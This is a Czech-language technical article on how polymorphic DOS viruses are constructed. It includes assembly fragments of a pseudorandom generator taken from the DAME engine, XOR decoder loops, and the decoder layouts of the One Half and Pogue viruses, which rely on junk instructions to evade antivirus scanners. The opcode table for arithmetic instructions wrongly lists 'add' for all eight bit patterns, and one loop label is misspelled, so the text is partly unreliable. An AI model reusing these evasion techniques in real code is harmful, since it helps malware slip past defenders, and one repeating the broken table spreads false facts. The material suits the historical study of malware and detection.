Konstrukce polymorfních virů
Polymorfní viry jsou bezesporu nejpřitažlivější skupinou virů. Kód, který je schopen
pokaždé jiným způsobem vygenerovat své tělo, již podvědomě budí zvědavost a nabízí myšlenkovou paralelu s
viry biologickými. I polymorfní virus je však stále pouhým programem, který pracuje tak, jak byl programátorem
sestaven.
Jádrem polymorfních virů je algoritmus kódovacího a dekódovacího mechanismu. Existují dva základní druhy kódovacích
mechanismů:
Reverzibilní algoritmus
Kóder i dekóder je integrován do jednoho mechanismu, použitelného pro oba účely. Reverzibilita bývá často
nejčastěji dosažena pomocí logické operace xor. Reverzibilní algoritmus je výhradně používán viry semi-polymorfními,
jejichž kódování je velice primitivní a stojí na hierarchickém stupni vývoje pod viry plně polymorfními.
Nereverzibilní algoritmus
Nereverzibilní mechanismus má separátně oddělený kodér i dekodéř. Kódování je tvořeno zejména postupným a pokaždé
jiným skládáním výpočtu, které neumožňuje identické použití pro dekódování.
Oba druhy kódovacích mechanismů bývají v těle viru prokládány nevýznamnými instrukcemi, které slouží zejména pro
znesnadnění detekce viru antivirovými programy, ale také i pro případné zajištění proměnné délky viru.
Nezbytnou součástí polymorfních virů je generátor pseudonáhodných čísel, který je viry
využíván pro náhodný výběr použití registrů, mechanismu kódování apod. Generování pseudonáhodných čísel
bývá různé, od přímého použití hodnot aktuálního času až po rekurentní výpočty, používající systémový časovač.
V reálném světě se polymorfní viry vyskytují téměř výhradně v podobě virů souborových. Bootovací podoba polymorfních
virů je velice vzácná (např. virus Zaraza), což je dáno zejména tím, že bootovací viry mají pro své maskování dostatek
příležitosti při zavádění operačního systému, kdy mohou využívat přímé stealth techniky.
Princip implementace polymorfismu
Virový polymorfismus je založen na dvou základních principech instrukčního souboru mikroprocesorů řady INTEL, používaných
v počítačích PC. Všechny instrukce procesoru mají definovanou masku s parametrickým bitovým polem, které upřesňuje pracovní
operandy. Polymorfní viry využívají právě tuto podobnost, jež jim zaručuje právě stejná maska pro instrukce podobného významu.
Přímá podobnost instrukcí
Přímá podobnost využívá sousednosti instrukcí v instrukčním souboru. Např. hexadecimální hodnotou b8 začíná sekce instrukcí
naplňující 16bitový registr přímým operandem:
b8h ... mov ax, "primy operand"
b9h ... mov cx, "primy operand"
bah ... mov dx, "primy operand"
bbh ... mov bx, "primy operand"
bch ... mov sp, "primy operand"
bdh ... mov bp, "primy operand"
beh ... mov si, "primy operand"
bfh ... mov di, "primy operand"
Tuto podobnost využívá např. virus One Half (podrobněji viz dále) pro výběr dekódovacího registru.
Prostý součet hodnoty b8h a hodnoty náhodného čísla v rozsahu 0 až 7 generuje příslušný registr. Kód bch
bývá viry zapovězen, neboť ukazatel na zásobník je z pochopitelných důvodů tabu.
Často využívanou je podobnost push a pop instrukcí:
50h ... push ax 58h ... pop ax
51h ... push cx 59h ... pop cx
52h ... push dx 5ah ... pop dx
53h ... push bx 5bh ... pop bx
54h ... push sp 5ch ... pop sp
55h ... push bp 5dh ... pop bp
56h ... push si 5eh ... pop si
57h ... push di 5fh ... pop di
Podobnost skupiny instrukcí
V tomto případě se jedná o vícebajtové instrukce, kdy první bajt specifikuje skupinu instrukcí
(aritmetické operace, operace posuvu a rotací apod.) a až druhý bajt určuje samotný kód instrukce.
Druhý bajt instrukce má definovaný bitový tvar XXYYYZZZ, kde první dva bity XX udávají mód, prostřední
tři bity YYY představují požadovanou instrukci a poslední tři bity ZZZ specifikují operand (registr či pamět).
Pro polymorfismus jsou důležité zejména bity YYY aritmetických operací, jejichž kombinace představují tyto instrukce:
000 ... add
001 ... add
010 ... add
011 ... add
100 ... add
101 ... add
110 ... add
111 ... add
Vymaskování, resp. nastavení bitů YYY na hodnotu náhodného čísla z intervalu 0 až 7 opět generuje příslušnou instrukci.
Generátor pseudonáhodných čísel
Systémový čas, resp. čítač cyklů časovače 8253 patří k základním způsobům, jak mohou polymorfně zaměřené viry získat "náhodnou" číselnou hodnotu.
Časovač taktuje každých 55 ms a jeho hodnota je viry zpřístupňována zejména přes port 40h. Další možností
je ekvivalentní přímé čtení z proměnné BIOSu na adrese 0:046c.
Strukturou generátoru charakterizuje ukázka vybraná ze zdrojového tvaru DAME (Dark Angel`s Multiple Engine) algoritmu. Obecná podoba generátoru bývá tvořena dvěma
stěžejními částmi: počáteční pseudonáhodnou inicializační rutinou a rekurentním vzorcem pro vlastní výpočet pseudonáhodného čísla.
Inicializace generátoru pseudonáhodných čísel.
init_rnd:
push dx ; uschova registru
push cx
push bx
mov ah, 2ch ; sluzba "Cti systemovy cas"
int 21h ; Obsazeni registru po provedeni sluzby:
; CH ... hodiny (0 az 23)
; CL ... minuty (0 az 59)
; DH ... sekundy (0 az 59)
; DL ... setiny sekund (0 az 99)
Pro některé viry je generátor pseudonáhodných čísel tvořen pouze tímto voláním. Virus Brain např. používá
pro kódování xor-konstantu pouze hodnotu registru dl. Z rozsahu setin sekund je zřejmé, že virus může vygenerovat
sto různě kódovaných tvarů virového těla.
in al, 40h ; nacteni casovace
mov ah, al
in al, 40h ; nacteni casovace
xor ax, cx ; rozsireni na cely rozsah cisla integer
xor dx, ax ;
jmp short rnd_done ; skok na konec generatoru
Výpočet pseudonáhodného čísla.
get_rnd:
push dx ; uschova registru
push cx
push bx
in al, 40h ; nacteni casovace
db 05h ; add ax, hodnota patch1
patch1 dw 0 ; prvni rekurentni konstanta
db 0bah ; mov dx, hodnota patch2
patch2 dw 0 ; druha rekurentni konstanta
mov cx, 7 ; sedmipruchodova
rnd_loop: ; smycka
shl ax, 1 ; pro
rcl dx, 1 ; vypocet
mov bl, al ; pseudonahodneho
xor bl, dh ; cisla
jns lbl ;
inc al ;
lbl:
loop rnd_loop
rnd_done: ; ukonceni generovani
mov patch1, ax ; naplneni
mov patch2, dx ; rekurentnich konstant
mov al, dl ; "doladeni" vysledku
pop bx ; obnova registru
pop cx
pop dx
retn ; pseudonahodne cislo je v registru AX
V těle polymorfní části viru je pak generátor volán instrukcemi "call init_rnd" pro počáteční nastartování
generátoru a "call get_rnd" pro získání pseudonáhodného čísla. Získané pseudonáhodné číslo je pak pro potřebu
daného maximálního rozsahu 0 až MAX ořezáno instrukcí "and ax, MAX", resp. "and al, MAX".
Semi-polymorfní reverzibilní algoritmus
Značné množství virů využívá primitivní semi-polymorfní techniku kódování prostřednictvím logické operace xor,
která umožnuje zakódovat a odkódovat daný údaj pomocí stejného klíče.
Uveďme příklad. Nechť jsou dány hexadecimální hodnoty kódovaného bajtu "ff" a (de)kódovacího klíče "a1". Pak platí:
ff xor a1 = 5e ... kódování
5e xor a1 = ff ... dekódování
Jak je vidět, po dvojí aplikaci stejného kódovacího klíče obdržíme výchozí bajt. U těchto virů můžeme nejčastěji nalézt
tuto typickou posloupnost instrukcí, plnící funkci dekódovací rutiny:
mov bx, adresa pocatku zakodovaneho tela
mov dl, (od)kodovaci xor-konstanta
mov cx, delka zakodovaneho tela v bajtech
vlasti_smycka:
xor cs:[bx], dl ; vlastni odkodovani
inc bx ; posun na dalsi zakodovany bajt
loop vlastni_smycka
Samozřejmě, může se lišit použití některých registrů či lze případně dekódovat místo bajtů slova,
ale princip vždy zůstává tentýž. Uvedená metoda je navíc velice výhodná z důvodu univerzálnosti této
rutiny jak pro kódování tak i pro dekódování.
Kódovací konstanta je pseudonáhodná, její možnosti byly naznačeny v předchozí kapitole.
Možnosti této metody jsou silně omezené. Maximální možností, jak ztížit detekovatelnost antivirovými scannery,
je prokládání kódu nevýznamnými instrukcemi. Ve své podstatě statická dekódovací smyčka umožňuje vyhledávat
tyto viry jednoduše pomocí identifikačních virových řetezců.
Na rozdíl od plně polymorfních virů je semi-polymorfismus hojně využíván i bootovacími viry.
Polymorfní reverzibilní algoritmus
I pro plně polymorfní viry je z programátorského hlediska pro dosažení reverzibility algoritmu nejsnažší,
a v podstatě i jedinou, možností použití logické operace xor. Virus One Half je u nás jedním z nejznámějších
představitelů této skupiny. Úvodní dekódovací smyčka je složená návěští, jež každé má následující strukturu:
Výkonná instrukce.
Náhodný počet nevýznamných instrukcí před nebo za výkonnou instrukcí.
Instrukce skouku na další návěští.
I pořadí jednotlivých návěští, jež jsou umisťována do těla infikovaného programu (!) generuje One Half náhodně,
což úplně znemožňuje jeho detekci pomocí běžných antivirových scannerů. Nevýznamnými instrukcemi jsou instrukce "nop",
"stc","clc","sti","cs:","ss:","ds:","cld","std","cmc". Tyto instrukce nemají vliv na vlastní běh dekodéru, slouží pouze
ke zmatení scanneru. Instrukce skoku jsou generovány buď typu "jmp návěští" nebo "jmp short návěští".
start: ; puvodni program (virovy lapac)
jmp go
db 1536 dup (0) ; velikostni vypln (1536=600h)
go:
int 20h
Infikovaný program, tvořený v našem případě pouze velikostní výplní, je návěštími dekodéru tvrdě přepsán.
Přepsané části jsou uschovány v zakódovaném těle viru a před pozdějším předáním řízení infikovanému
programu virus zajišťuje jejich obnovu, takže uživatel za běžných okolností nic nepozná. Tento postup navíc vyřazuje
z činnosti odvirovací programy pracující na principu univerzálního cleanu. Léčba takto zavirovaných programů
bývá realizována zejména jednoúčelovými programy.
start: ; zavirovany tvar
jmp lbl_5 ; skok na vstupni navesti dekoderu
db 542 dup (0) ; cast zavirovaneho programu
lbl_1: ; vlastni dekodovani
ss:
xor [si], di ; xor [indexovaci registr], dekodovaci registr
nop
jmp lbl_4
db 18 dup (0) ; cast zavirovaneho programu
lbl_2: ; otestovani priznaku ukonceni dekodovani
jnz lbl_1 ; jne lbl_1 nebo jnz lbl_1
stc
cs:
std
jmp virus_entry ; ukonceni dekodovani
db 47 dup (0) ; cast zavirovaneho programu
lbl_3:
pop ds ; pouze moznost pop ds
nop
jmp lbl_10
db 71 dup (0) ; cast zavirovaneho programu
lbl_4: ; akutualizace dekodovaci konstanty
add di, 2eefh ; add dekodovaci registr, konstanta
jmp short lbl_6
db 38 dup (0) ; cast zavirovaneho programu
lbl_5:
push ax ; pouze moznost push ax
stc
cld
jmp lbl_9
db 33 dup (0) ; cast zavirovaneho programu
lbl_6: ; posun na dalsi zakodovane slovo
ds:
stc
cs:
inc si ; inc indexovaci registr
jmp short lbl_7
db 9 dup (0) ; cast infikovaneho programu
lbl_7: ; test, je-li vse dekodovano
cmp si, 14ddh ; cmp indexovaci registr,
; offset pocatek_zakodovaneho_viru + delka viru
jmp lbl_2
db 142 dup (0) ; cast infikovaneho programu
lbl_8: ; uvodni naplneni dekodovaciho registru
mov di, 0ce3bh ; vyber dekodovaciho registru ax, bx, cx, dx, bp, si, di
; s ohledem na kolizi s indexovacim registrem
; a jeho naplneni pocatecni dekodovaci konstantou
cld
sti
cld
jmp lbl_1
db 50 dup (0) ; cast infikovaneho programu
lbl_9:
cld
cmc
push ss ; push cs nebo push ss
clc
jmp lbl_3
db 354 dup (0) ; cast infikovaneho programu
lbl_10: ; nastaveni pocatecniho mista pro dekodovani
mov si, 705h ; vyber indexovaciho registru bx, si, di
; a jeho naplneni hodnotou offset pocatek_zakodovaneho_viru
jmp lbl_8
db 164 dup (0) ; cast infikovaneho programu
Velikostní součet db-výplní infikovaného programu činí 1468 bajtů, zbylých 68 bajtů je délka
samotného dekodéru.
go:
int 20h ; zbytek infikovaneho programu
pocatek_zakodovaneho_viru:
Zakodovane telo viru One Half
Plně polymorfní mechanismus, na rozdíl od semi-polymorfních předchůdců, zcela odsouvá do role statisty
antivirové scannery pracující na principu virových identifikačních řetezců. Klíčem k detekci polymorfních virů
je heuristická metoda analýzy kódu programu.
 |
Příklad souboru před zavirováním... |
 |
...a po zavirování virem OneHalf.3544. Všimněte si deseti krátkých
programků, které jsou náhodně rozneseny před samotným virem. Tyto prográmky
jsou navzájem propojeny skoky, a dohromady tvoří dekódovací rutinu. Na zmatení
antivirů jsou tyto krátké prográmky plné nic nedělajících instrukcí jako:
nop, stc, clc, sti, cs:, ss:, ds:, cld, std, cmc. |
Polymorfní nereverzibilní algoritmus
Podstatou nereverzibilních virových mechanismů je postupné skládání kódu, resp. plnění hodnot
příslušných registrů prováděním dílčích instrukcí. Velice trefným přirovnáním jsou
populární puzzle. Např. realizovat instrukci "add ax, 2" je možné nepřeberným množstvím variant kombinací
instrukcí "inc","add","dec" a "sub":
inc ax inc ax add ax,4
inc ax add ax,1 sub ax,2
Stejně tak i plnící instrukci "mov ax, 606h" lze realizovat zamlžujícím postupem:
mov ax, 202h ; AX=202h
mov bx, 101h ; BX=101h
add ax, bx ; AX=303h
shl ax, 1 ; nasobeni dvema => AX=606h
Obdobným způsobem mohou nereverzibilně zaměřené viry modifikovat použití skokových instrukcí prostřednictvím skoků
přes pomocná návěští, příp. instrukci cyklu "loop" mohou nahradit posloupností instrukcí "dec cx" a "jnz navesti_smycky" apod.
Dá se říci, že možnosti jsou omezeny pouze fantazií a schopnostmi virových pisatelů.
Nereverzibilní mechanismy poskytují i pružnější prostředky pro možnost generování proměnné délky viru,
než je tomu v případě algoritmů reverzibilních.
Typickým příkladem je nereverzibilní MtE mechanismus viru Pogue, infikující programy typu COM:
start:
dec bp ; priznak zavirovaneho souboru
jmp dekoder
... infikovany program ...
dekoder:
mov bp, 0a16ch ; bp=a16c
mov cl, 3
ror bp, cl ; bp=942d
mov cx, bp
mov bp, 856eh ; bp=856e
or bp, 740fh ; bp=f56f
mov si, bp
mov bp, 3b92h ; bp=3b92
add bp, si ; bp=3101
xor bp, cx ; bp=a52c
sub bp, 0b10ch ; bp=f420
Uvodní část dekodéru pouze maskuje významově jedinou instrukci "mov bp, 0f420h". Tato hodnota
slouží v následující smyčce k bázové části adresy zakódovaného těla viru.
smycka:
mov bx, [bp + 0d23h] ; poprve - mov bx, [0143]
add bx, 9d64h ; vlastni dekodovani
xchg [bp + 0d23h], bx ; a opetovne ulozeni zpracovaneho slova
Virus refinovaně využívá přetečení výsledku součtu hodnot bp a 0d23h; nastavení příznaku CF je v tomto
případě nepodstatné.
mov bx, 8f31h
sub bx, bp ; 9b11
mov bp, 8f33h
sub bp, bx ; bp=f422 (tj. add bp,2)
jnz smycka
Instrukce posunu algoritmu na další zakódované slovo ("add bp, 2") je opět zamaskována.
Počáteční bázová hodnota f420h není náhodná, ale je vybrána s ohledem na požadovaný počet 1520 iterací,
což odpovídá, vzhledem ke slovním operacím, velikosti 3040 B zakódované části viru. Hodnota je dána
výrazem (64 kB - f420 + 1) / 2 = 1520.
mov bx, bp
mov cl, 3
ror bx, cl
Závěrečná část dekodéru je složena z nevýznamných instrukcí, pomocí nichž virus dosahuje proměnné
délky svého těla. Je zajímavé sledovat, že nevýznamnými instrukce nejsou pouze jednobajtové
instrukce typu "nop" či "cmc", ale podstatně komplikovanější konstrukce.
segment:0143
... zakodovana cast tela viru Pogue ...